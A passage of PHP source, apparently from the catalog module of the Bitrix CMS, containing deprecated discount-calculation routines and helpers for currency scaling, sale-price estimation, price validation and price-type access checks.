						if ($arParams['PRICE'] <= $dblDiscountValue)
							continue;
						$arOneDiscount['DISCOUNT_CONVERT'] = $dblDiscountValue;
						if ($changeData)
							$arOneDiscount['VALUE'] = $arOneDiscount['DISCOUNT_CONVERT'];
					}
					elseif (CCatalogDiscount::TYPE_PERCENT == $arOneDiscount['VALUE_TYPE'])
					{
						if (100 < $arOneDiscount["VALUE"])
							continue;
						if ($arOneDiscount['TYPE'] == CCatalogDiscount::ENTITY_ID && $arOneDiscount["MAX_DISCOUNT"] > 0)
						{
							$dblDiscountValue = (
								!$changeData
								? $arOneDiscount['MAX_DISCOUNT']
								: roundEx(
									CCurrencyRates::ConvertCurrency($arOneDiscount['MAX_DISCOUNT'], $arOneDiscount['CURRENCY'], $arParams['CURRENCY']),
									CATALOG_VALUE_PRECISION
								)
							);
							$arOneDiscount['DISCOUNT_CONVERT'] = $dblDiscountValue;
							if ($changeData)
								$arOneDiscount['MAX_DISCOUNT'] = $arOneDiscount['DISCOUNT_CONVERT'];
						}
					}
					if ($changeData)
						$arOneDiscount['CURRENCY'] = $arParams['CURRENCY'];
					if ($arOneDiscount['TYPE'] == CCatalogDiscountSave::ENTITY_ID)
					{
						$arDiscSave[] = $arOneDiscount;
					}
					else
					{
						$arPriceDiscount[$arOneDiscount['PRIORITY']][] = $arOneDiscount;
					}
				}

				if (!empty($arPriceDiscount))
					krsort($arPriceDiscount);
			}
		}
	}

	/**
	* @deprecated deprecated since catalog 15.0.0
	* @see CCatalogDiscount::applyDiscountList()
	* @see CCatalogDiscount::calculatePriorityLevel()
	 *
	 * @param array &$arDiscounts
	 * @param array &$arResultDiscount
	 * @param array &$arParams
	 *
	 * @return bool
	*/
	protected static function __CalcOnePriority(&$arDiscounts, &$arResultDiscount, &$arParams)
	{
		$boolResult = false;
		if (isset($arParams['PRICE']) && isset($arParams['CURRENCY']))
		{
			$arParams['PRICE'] = (float)$arParams['PRICE'];
			$arParams['BASE_PRICE'] = (float)$arParams['BASE_PRICE'];
			if ($arParams['PRICE'] > 0)
			{
				$dblCurrentPrice = $arParams['PRICE'];
				do
				{
					$dblMinPrice = -1;
					$strMinKey = -1;
					$boolApply = false;
					foreach ($arDiscounts as $strDiscountKey => $arOneDiscount)
					{
						$boolDelete = false;
						$dblPriceTmp = -1;
						switch($arOneDiscount['VALUE_TYPE'])
						{
						case CCatalogDiscount::TYPE_PERCENT:
							$dblTempo = roundEx((
								CCatalogDiscount::getUseBasePrice()
								? $arParams['BASE_PRICE']
								: $dblCurrentPrice
								)*$arOneDiscount['VALUE']/100,
								CATALOG_VALUE_PRECISION
							);
							if (isset($arOneDiscount['DISCOUNT_CONVERT']))
							{
								if ($dblTempo > $arOneDiscount['DISCOUNT_CONVERT'])
									$dblTempo = $arOneDiscount['DISCOUNT_CONVERT'];
							}
							$dblPriceTmp = $dblCurrentPrice - $dblTempo;
							break;
						case CCatalogDiscount::TYPE_FIX:
							if ($arOneDiscount['DISCOUNT_CONVERT'] > $dblCurrentPrice)
							{
								$boolDelete = true;
							}
							else
							{
								$dblPriceTmp = $dblCurrentPrice - $arOneDiscount['DISCOUNT_CONVERT'];
							}
							break;
						case CCatalogDiscount::TYPE_SALE:
							if (!($arOneDiscount['DISCOUNT_CONVERT'] < $dblCurrentPrice))
							{
								$boolDelete = true;
							}
							else
							{
								$dblPriceTmp = $arOneDiscount['DISCOUNT_CONVERT'];
							}
							break;
						}
						if ($boolDelete)
						{
							unset($arDiscounts[$strDiscountKey]);
						}
						else
						{
							if (-1 == $dblMinPrice || $dblMinPrice > $dblPriceTmp)
							{
								$dblMinPrice = $dblPriceTmp;
								$strMinKey = $strDiscountKey;
								$boolApply = true;
							}
						}
					}
					if ($boolApply)
					{
						$dblCurrentPrice = $dblMinPrice;
						$arResultDiscount[] = $arDiscounts[$strMinKey];
						if ('Y' == $arDiscounts[$strMinKey]['LAST_DISCOUNT'])
						{
							$arDiscounts = array();
							$arParams['LAST_DISCOUNT'] = 'Y';
						}
						unset($arDiscounts[$strMinKey]);
					}
				} while (!empty($arDiscounts));
				if ($boolApply)
				{
					$arParams['PRICE'] = $dblCurrentPrice;
				}
				$boolResult = true;
			}
		}
		return $boolResult;
	}

	/**
	* @deprecated deprecated since catalog 15.0.0
	* @see CCatalogDiscount::applyDiscountList()
	* @see CCatalogDiscount::calculateDiscSave()
	 *
	 * @param array &$arDiscSave
	 * @param array &$arResultDiscount
	 * @param array &$arParams
	 *
	 * @return bool
	*/
	protected static function __CalcDiscSave(&$arDiscSave, &$arResultDiscount, &$arParams)
	{
		$boolResult = false;
		if (isset($arParams['PRICE']) && isset($arParams['CURRENCY']))
		{
			$arParams['PRICE'] = (float)$arParams['PRICE'];
			if (0 < $arParams['PRICE'])
			{
				$dblCurrentPrice = $arParams['PRICE'];
				$dblMinPrice = -1;
				$strMinKey = -1;
				$boolApply = false;
				foreach ($arDiscSave as $strDiscountKey => $arOneDiscount)
				{
					$dblPriceTmp = -1;
					$boolDelete = false;
					switch($arOneDiscount['VALUE_TYPE'])
					{
					case CCatalogDiscountSave::TYPE_PERCENT:
						$dblPriceTmp = roundEx($dblCurrentPrice*(1 - $arOneDiscount['VALUE']/100.0), CATALOG_VALUE_PRECISION);
						break;
					case CCatalogDiscountSave::TYPE_FIX:
						if ($arOneDiscount['DISCOUNT_CONVERT'] > $dblCurrentPrice)
						{
							$boolDelete = true;
						}
						else
						{
							$dblPriceTmp = $dblCurrentPrice - $arOneDiscount['DISCOUNT_CONVERT'];
						}
						break;
					}
					if (!$boolDelete)
					{
						if (-1 == $dblMinPrice || $dblMinPrice > $dblPriceTmp)
						{
							$dblMinPrice = $dblPriceTmp;
							$strMinKey = $strDiscountKey;
							$boolApply = true;
						}
					}
				}
				if ($boolApply)
				{
					$arParams['PRICE'] = $dblMinPrice;
					$arResultDiscount[] = $arDiscSave[$strMinKey];
				}
				$boolResult = true;
			}
		}
		return $boolResult;
	}

	protected static function getQueryBuildCurrencyScale($filter, $priceTypeId)
	{
		$result = array();
		if (!isset($filter['CATALOG_CURRENCY_SCALE_'.$priceTypeId]))
			return $result;
		$currencyId = Currency\CurrencyManager::checkCurrencyID($filter['CATALOG_CURRENCY_SCALE_'.$priceTypeId]);
		if ($currencyId === false)
			return $result;

		$currency = CCurrency::GetByID($currencyId);
		if (empty($currency))
			return $result;

		$result['CURRENCY'] = $currency['CURRENCY'];
		$result['BASE_RATE'] = $currency['CURRENT_BASE_RATE'];

		return $result;
	}

	protected static function getQueryBuildPriceScaled($prices, $scale)
	{
		$result = array();
		$scale = (float)$scale;
		if (!is_array($prices))
			$prices = array($prices);
		if (empty($prices) || $scale <= 0)
			return $result;
		foreach ($prices as &$value)
			$result[] = (float)$value*$scale;
		unset($value);
		return $result;
	}

	protected static function initSaleSettings()
	{
		if (self::$saleIncluded === null)
			self::$saleIncluded = Main\Loader::includeModule('sale');
		if (self::$saleIncluded)
		{
			self::$useSaleDiscount = (string)Main\Config\Option::get('sale', 'use_sale_discount_only') == 'Y';
			if (self::$useSaleDiscount)
			{
				//TODO: replace runtime to reference after sale 17.5.2 will be stable
				$row = Sale\Internals\DiscountEntitiesTable::getList(array(
					'select' => array('ID'),
					'filter' => array(
						'=MODULE_ID' => 'catalog',
						'=ENTITY' => 'PRICE',
						'=FIELD_ENTITY' => 'CATALOG_GROUP_ID',
						'=FIELD_TABLE' => 'CATALOG_GROUP_ID',
						'=ACTIVE_DISCOUNT.ACTIVE' => 'Y'
					),
					'runtime' => array(
						new Main\Entity\ReferenceField(
							'ACTIVE_DISCOUNT',
							'Bitrix\Sale\Internals\Discount',
							array('=this.DISCOUNT_ID' => 'ref.ID'),
							array('join_type' => 'LEFT')
						)
					),
					'limit' => 1,
				))->fetch();
				self::$existPriceTypeDiscounts = !empty($row);
				unset($row);
			}
		}
	}

	private static function isNeedleToMinimizeCatalogGroup(array $priceList)
	{
		if (self::$saleIncluded === null)
			self::initSaleSettings();

		if (
			!self::$saleIncluded ||
			!self::$useSaleDiscount ||
			count($priceList) < 2
		)
			return false;

		return self::$existPriceTypeDiscounts;
	}

	private static function getPossibleSalePrice($intProductID, array $priceData, $quantity, $siteID, array $userGroups, $coupons)
	{
		$possibleSalePrice = null;

		if (empty($priceData))
			return $possibleSalePrice;

		$isCompatibilityUsed = Sale\Compatible\DiscountCompatibility::isUsed();
		Sale\Compatible\DiscountCompatibility::stopUsageCompatible();

		$freezeCoupons = (empty($coupons) && is_array($coupons));

		if ($freezeCoupons)
			Sale\DiscountCouponsManager::freezeCouponStorage();

		/** @var \Bitrix\Sale\Basket $basket */
		static $basket = null,
			/** @var \Bitrix\Sale\BasketItem $basketItem */
			$basketItem = null;

		if ($basket !== null)
		{
			if ($basket->getSiteId() != $siteID)
			{
				$basket = null;
				$basketItem = null;
			}
		}
		if ($basket === null)
		{
			$basket = Sale\Basket::create($siteID);
			$basketItem = $basket->createItem('catalog', $intProductID);
		}

		$fields = array(
			'PRODUCT_ID' => $intProductID,
			'QUANTITY' => $quantity,
			'LID' => $siteID,
			'PRODUCT_PRICE_ID' => $priceData['ID'],
			'PRICE' => $priceData['PRICE'],
			'BASE_PRICE' => $priceData['PRICE'],
			'DISCOUNT_PRICE' => 0,
			'CURRENCY' => $priceData['PRICE'],
			'CAN_BUY' => 'Y',
			'DELAY' => 'N',
			'PRICE_TYPE_ID' => (int)$priceData['CATALOG_GROUP_ID']
		);

		/** @noinspection PhpInternalEntityUsedInspection */
		$basketItem->setFieldsNoDemand($fields);

		$discount = Sale\Discount::buildFromBasket($basket, new Sale\Discount\Context\UserGroup($userGroups));

		$discount->setExecuteModuleFilter(array('all', 'catalog'));
		$discount->calculate();

		$calcResults = $discount->getApplyResult(true);
		if ($calcResults && !empty($calcResults['PRICES']['BASKET']))
		{
			$possibleSalePrice = reset($calcResults['PRICES']['BASKET']);
			$possibleSalePrice = $possibleSalePrice['PRICE'];
		}

		if ($freezeCoupons)
			Sale\DiscountCouponsManager::unFreezeCouponStorage();

		if ($isCompatibilityUsed === true)
		{
			Sale\Compatible\DiscountCompatibility::revertUsageCompatible();
		}

		return $possibleSalePrice;
	}

	private static function checkPriceValue($price)
	{
		$result = false;

		if ($price !== null && $price !== false)
		{
			if (is_string($price))
			{
				$price = str_replace(',', '.', $price);
				if ($price !== '' && is_numeric($price))
				{
					$price = (float)$price;
					if (is_finite($price))
						$result = $price;
				}
			}
			elseif (
				is_int($price)
				|| (is_float($price) && is_finite($price))
			)
			{
				$result = $price;
			}
		}

		return $result;
	}

	private static function checkPriceCurrency($currency)
	{
		$result = false;
		if ($currency !== null && $currency !== false && $currency !== '')
			$result = $currency;
		return $result;
	}

	/**
	 * @param array $userGroups
	 * @return array
	 */
	private static function getAllowedPriceTypes(array $userGroups)
	{
		static $priceTypeCache = array();

		Main\Type\Collection::normalizeArrayValuesByInt($userGroups, true);
		if (empty($userGroups))
			return array();

		$cacheKey = 'U'.implode('_', $userGroups);
		if (!isset($priceTypeCache[$cacheKey]))
		{
			$priceTypeCache[$cacheKey] = array();
			$priceIterator = Catalog\GroupAccessTable::getList(array(
				'select' => array('CATALOG_GROUP_ID'),
				'filter' => array('@GROUP_ID' => $userGroups, '=ACCESS' => Catalog\GroupAccessTable::ACCESS_BUY),
				'order' => array('CATALOG_GROUP_ID' => 'ASC')
			));
			while ($priceType = $priceIterator->fetch())
			{
				$priceTypeId = (int)$priceType['CATALOG_GROUP_ID'];
				$priceTypeCache[$cacheKey][$priceTypeId] = $priceTypeId;
				unset($priceTypeId);
			}
			unset($priceType, $priceIterator);
		}

		return $priceTypeCache[$cacheKey];
	}

	private static function convertErrors(Main\Entity\Result $result)
	{
		global $APPLICATION;

		$oldMessages = array();
		foreach ($result->getErrorMessages() as $errorText)
			$oldMessages[] = array('text' => $errorText);
		unset($errorText);

		if (!empty($oldMessages))
		{
			$error = new CAdminException($oldMessages);
			$APPLICATION->ThrowException($error);
			unset($error);
		}
		unset($oldMessages);
	}

	private static function normalizeFields(array &$fields)
	{
		if (isset($fields['QUANTITY']) && is_string($fields['QUANTITY']) && $fields['QUANTITY'] === '')
			$fields['QUANTITY'] = 0;
		if (isset($fields['QUANTITY_RESERVED']) && is_string($fields['QUANTITY_RESERVED']) && $fields['QUANTITY_RESERVED'] === '')
			$fields['QUANTITY_RESERVED'] = 0;
		if (isset($fields['WEIGHT']) && is_string($fields['WEIGHT']) && $fields['WEIGHT'] === '')
			$fields['WEIGHT'] = 0;
	}
}